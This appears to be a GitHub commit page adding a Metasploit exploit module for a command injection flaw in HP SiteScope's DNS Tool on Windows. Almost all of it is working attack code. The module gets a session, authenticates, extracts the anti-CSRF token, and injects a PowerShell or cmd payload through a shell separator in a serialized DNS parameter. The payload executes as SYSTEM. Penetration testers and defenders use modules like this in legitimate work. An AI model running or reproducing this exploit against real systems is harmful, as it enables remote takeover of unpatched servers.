Skip to content

Commit 84455c2

Browse files
author
Tod Beardsley
committed
Land rapid7#6701, HP SiteScope issue
2 parents 7a16f28 + 94bb94d commit 84455c2

File tree

1 file changed

+196
-0
lines changed

1 file changed

+196
-0
lines changed
Lines changed: 196 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,196 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/powershell'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = GoodRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::Powershell
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'HP SiteScope DNS Tool Command Injection',
18+
'Description' => %q{
19+
This module exploits a command injection vulnerability
20+
discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26
21+
and 11.30). The vulnerability exists in the DNS Tool allowing an
22+
attacker to execute arbitrary commands in the context of the service. By
23+
default, HP SiteScope installs and runs as SYSTEM in Windows and does
24+
not require authentication. This vulnerability only exists on the
25+
Windows version. The Linux version is unaffected.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author
31+
'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery
32+
'Juan Vazquez' # help with MSF module
33+
],
34+
'References' =>
35+
[
36+
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection'],
37+
['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site
38+
],
39+
'Platform' => 'win',
40+
'Targets' =>
41+
[
42+
[ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher',
43+
{
44+
'Arch' => [ARCH_X86_64, ARCH_X86]
45+
}
46+
],
47+
[ 'HP SiteScope 11.30 / CMD',
48+
{
49+
'Arch' => [ARCH_CMD]
50+
}
51+
]
52+
],
53+
'Privileged' => false,
54+
'DefaultTarget' => 0,
55+
'DisclosureDate' => 'Oct 9 2015'))
56+
57+
register_options(
58+
[
59+
Opt::RPORT(8080),
60+
OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']),
61+
OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']),
62+
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
63+
], self.class)
64+
end
65+
66+
def exploit
67+
initial_session = get_initial_session_id
68+
redirect = authenticate(initial_session)
69+
session = get_authenticated_session_id(initial_session, redirect)
70+
csrf_token = get_csrf_token(session)
71+
72+
print_status("#{peer} - Executing payload")
73+
random_mark = Rex::Text.rand_text_alpha(5 + rand(5))
74+
res = send_request_cgi(
75+
{
76+
'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'),
77+
'method' => 'POST',
78+
'vars_get' => {
79+
'OWASP_CSRFTOKEN' => csrf_token
80+
},
81+
'cookie' => session,
82+
'ctype' => 'application/octet- serializable object',
83+
'data' => build_stream(random_mark)
84+
}, 5)
85+
86+
if res && res.code == 200 && res.body
87+
res_io = StringIO.new(res.body.to_s)
88+
res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io)
89+
return if res_stream.nil?
90+
show = false
91+
res_stream.references.each do |ref|
92+
if ref.class == Rex::Java::Serialization::Model::Utf && show
93+
print_good(ref.contents)
94+
next
95+
elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark)
96+
show = true
97+
next
98+
end
99+
end
100+
end
101+
end
102+
103+
def get_initial_session_id
104+
print_status("#{peer} - Retrieving an initial JSESSIONID...")
105+
res = send_request_cgi(
106+
'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'),
107+
'method' => 'POST'
108+
)
109+
110+
if res and res.code == 200 and res.get_cookies.include?('JSESSIONID')
111+
session_id = res.get_cookies
112+
else
113+
fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed")
114+
end
115+
116+
session_id
117+
end
118+
119+
def authenticate(session_id)
120+
print_status("#{peer} - Authenticating on HP SiteScope Configuration...")
121+
res = send_request_cgi(
122+
{
123+
'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'),
124+
'method' => 'POST',
125+
'cookie' => session_id,
126+
'vars_post' => {
127+
'j_username' => datastore['SITE_SCOPE_USER'],
128+
'j_password' => datastore['SITE_SCOPE_PASSWORD']
129+
}
130+
})
131+
132+
if res && res.code == 302
133+
redirect = URI(res.headers['Location']).path
134+
else
135+
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
136+
end
137+
138+
redirect
139+
end
140+
141+
def get_authenticated_session_id(session_id, redirect)
142+
print_status("#{peer} - Following redirection to finish authentication...")
143+
144+
res = send_request_cgi(
145+
{
146+
'uri' => redirect,
147+
'method' => 'GET',
148+
'cookie' => session_id
149+
})
150+
151+
if res && res.code == 200 && res.get_cookies.include?('JSESSIONID')
152+
auth_session = res.get_cookies
153+
else
154+
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
155+
end
156+
157+
auth_session
158+
end
159+
160+
def get_csrf_token(session)
161+
print_status("#{peer} - Getting anti-CSRF token...")
162+
res = send_request_cgi(
163+
'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'),
164+
'cookie' => session
165+
)
166+
167+
if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/
168+
csrf_token = $1
169+
else
170+
fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token")
171+
end
172+
173+
csrf_token
174+
end
175+
176+
def build_stream(random_mark)
177+
site = "google.com & echo #{random_mark} & "
178+
if target.arch.include?('cmd')
179+
command = payload.encoded
180+
else
181+
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
182+
end
183+
184+
file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw')
185+
186+
f = File.new(file, 'rb')
187+
stream = Rex::Java::Serialization::Model::Stream.decode(f)
188+
f.close
189+
190+
dns_param = stream.references[0x44]
191+
dns_param.contents = site + command
192+
dns_param.length = dns_param.contents.length
193+
194+
stream.encode
195+
end
196+
end

0 commit comments

Comments
 (0)